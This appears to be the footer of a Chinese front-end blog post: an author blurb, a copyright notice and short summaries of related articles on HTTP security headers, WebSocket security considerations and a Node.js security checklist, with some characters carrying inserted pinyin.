我是小智,公眾號(hào)「大遷世界」作者,對(duì)前端技術(shù)保持學(xué)習(xí)愛(ài)好者。我會(huì)經(jīng)常分享自己所學(xué)所看的干貨,在進(jìn)階的路上,共勉!

關(guān)注公眾號(hào),后臺(tái)回復(fù)福利,即可看到福利,你懂的。

文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請(qǐng)注明本文地址:http://m.specialneedsforspecialkids.com/yun/109110.html

相關(guān)文章

  • 如何使用 HTTP 響應(yīng)字段來(lái)提高 Web 全性

    摘要:在服務(wù)器做出響應(yīng)時(shí),為了提高安全性,在響應(yīng)頭中可以使用的各種響應(yīng)頭字段。用于防止等跨站腳本攻擊。用于防止跨站腳本攻擊或數(shù)據(jù)注入攻擊但是,如果設(shè)定不當(dāng),則網(wǎng)站中的部分腳本代碼有可能失效。用于指定所有子域名同樣使用該策略。 在 Web 服務(wù)器做出響應(yīng)時(shí),為了提高安全性,在 HTTP 響應(yīng)頭中可以使用的各種響應(yīng)頭字段。 X-Frame-Options 該響應(yīng)頭中用于控制是否在瀏覽器中顯示 f...

    xiyang 評(píng)論0 收藏0
  • 【譯】 WebSocket 協(xié)議第十章——全性考慮(Security Considerations

    摘要:概述本文為協(xié)議的第九章,本文翻譯的主要內(nèi)容為安全性相關(guān)內(nèi)容。安全性考慮協(xié)議正文這一章描述了一些協(xié)議的可用的安全性考慮。連接保密性和完整性連接保密性是基于運(yùn)行的協(xié)議的。使用一個(gè)合適的狀態(tài)碼的關(guān)閉幀有助于診斷這個(gè)問(wèn)題。 概述 本文為 WebSocket 協(xié)議的第九章,本文翻譯的主要內(nèi)容為 WebSocket 安全性相關(guān)內(nèi)容。 10 安全性考慮(協(xié)議正文) 這一章描述了一些 WebSocke...

    darkerXi 評(píng)論0 收藏0
  • 【譯】 WebSocket 協(xié)議第十章——全性考慮(Security Considerations

    摘要:概述本文為協(xié)議的第九章,本文翻譯的主要內(nèi)容為安全性相關(guān)內(nèi)容。安全性考慮協(xié)議正文這一章描述了一些協(xié)議的可用的安全性考慮。連接保密性和完整性連接保密性是基于運(yùn)行的協(xié)議的。使用一個(gè)合適的狀態(tài)碼的關(guān)閉幀有助于診斷這個(gè)問(wèn)題。 概述 本文為 WebSocket 協(xié)議的第九章,本文翻譯的主要內(nèi)容為 WebSocket 安全性相關(guān)內(nèi)容。 10 安全性考慮(協(xié)議正文) 這一章描述了一些 WebSocke...

    MasonEast 評(píng)論0 收藏0
  • [譯]Node.js安全清單

    摘要:防止受到跨站腳本攻擊以及其他跨站注入攻擊。管理對(duì)于的安全使用,其重要性是不言而喻的。設(shè)置這個(gè)屬性將禁止腳本獲取到這個(gè),這可以用來(lái)幫助防止跨站腳本攻擊。這個(gè)查詢可能會(huì)變成最簡(jiǎn)單的預(yù)防方法則是使用參數(shù)化查詢或預(yù)處理語(yǔ)句。 前言 安全性,總是一個(gè)不可忽視的問(wèn)題。許多人都承認(rèn)這點(diǎn),但是卻很少有人真的認(rèn)真地對(duì)待它。所以我們列出了這個(gè)清單,讓你在將你的應(yīng)用部署到生產(chǎn)環(huán)境來(lái)給千萬(wàn)用戶使用之前,做一個(gè)...

    church 評(píng)論0 收藏0

發(fā)表評(píng)論

0條評(píng)論

最新活動(dòng)
閱讀需要支付1元查看
<